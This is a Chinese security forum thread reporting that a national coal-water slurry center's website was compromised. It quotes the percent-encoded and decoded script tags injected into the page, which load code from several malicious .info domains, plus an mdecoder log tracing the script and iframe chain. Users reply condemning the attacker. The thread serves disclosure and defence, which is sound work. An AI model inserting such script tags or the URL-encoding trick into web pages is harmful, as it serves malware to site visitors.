【被挂马】国家水煤浆中心 [挂马 BY:Sherry.ai]

天使的愤怒

国家水煤浆中心被挂马，360网盾已经能完美防御！在源代码中，能明显的发现挂马链接：<script src=http://%69%2E%6Cis%74a%67%65%2Ein%66o></script><script src=http://i.%68op%65%320%31%32%2Einfo></script><script src=http://o.hop%6520%31%32%2E%69n%66o></script><script src=http://q%2E4bh%2E%69n%66o></script><script src=http://r.%34%62%68.i%6E%66%6F></script><script src=http://%72.cm%73t%2E%69nf%6F></script><script src=http://%72%2Eco%6Cn.i%6Ef%6F></script>，入侵这个网站的黑客非常狡猾，将恶意网址链接的主体部分进行了加密，不过不必担心，经过网上的解密网站解密后挂马链接就显得很清楚：<script src=http://i.listage.info></script><script src=http://i.hope2012.info></script><script src=http://o.hope2012.info></script><script src=http://q.4bh.info></script><script src=http://r.4bh.info></script><script src=http://r.cmst.info></script><script src=http://r.coln.info></script>
hxxp://www.chinacwm.com/index.asp

天使的愤怒

对这种实施恶意行为的人，强烈鄙视！

Sherry.ai

Log generated by Sherry.ai use mdecoder 0.62
[root]http://www.chinacwm.com/index.asp(国家水煤浆中心网)
    [script]http://i.listage.info
    [script]http://i.hope2012.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [script]http://o.hope2012.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [script]http://q.4bh.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [script]http://r.4bh.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [script]http://r.cmst.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [script]http://r.coln.info
        [iframe]http://.2PZ.INFO/hhh/20.html
    [iframe]http://www.chinacwm.com/user/userlogin.asp
        [script]http://i.listage.info
        [script]http://i.hope2012.info
        [script]http://o.hope2012.info
        [script]http://q.4bh.info
        [script]http://r.4bh.info
        [script]http://r.cmst.info
        [script]http://r.coln.info
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=2
        [script]http://i.listage.info
        [script]http://i.hope2012.info
        [script]http://o.hope2012.info
        [script]http://q.4bh.info
        [script]http://r.4bh.info
        [script]http://r.cmst.info
        [script]http://r.coln.info
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=5
        [script]http://i.listage.info
        [script]http://i.hope2012.info
        [script]http://o.hope2012.info
        [script]http://q.4bh.info
        [script]http://r.4bh.info
        [script]http://r.cmst.info
        [script]http://r.coln.info
        [flash]http://www.chinacwm.com/Upfiles/shenhuacwm.swf
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=12
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=17
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=11
        [script]http://i.listage.info
        [script]http://i.hope2012.info
        [script]http://o.hope2012.info
        [script]http://q.4bh.info
        [script]http://r.4bh.info
        [script]http://r.cmst.info
        [script]http://r.coln.info
        [flash]http://www.chinacwm.com/Upfiles/cwm2.swf
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=14
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=13
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=16
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=20
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=15
        [script]http://i.listage.info
        [script]http://i.hope2012.info
        [script]http://o.hope2012.info
        [script]http://q.4bh.info
        [script]http://r.4bh.info
        [script]http://r.cmst.info
        [script]http://r.coln.info
    [script]http://www.chinacwm.com/plus/Advertise.asp?I=18
    [script]http://www.chinacwm.com/ks_inc/ajax.js
    [script]http://i.listage.info
    [script]http://i.hope2012.info
    [script]http://o.hope2012.info
    [script]http://q.4bh.info
    [script]http://r.4bh.info
    [script]http://r.cmst.info
    [script]http://r.coln.info
真不少。。

天使的愤怒

回复 3楼 Sherry.ai  的帖子
是啊，我在想那个网管是不是外行啊？


   

qigang

网页其实都失效。

A1101536336

谷歌浏览器报

天使的愤怒

回复 5楼 qigang  的帖子
网页其实没失效，可能是把Script代码放在Html标记前导致的网页打开缓慢。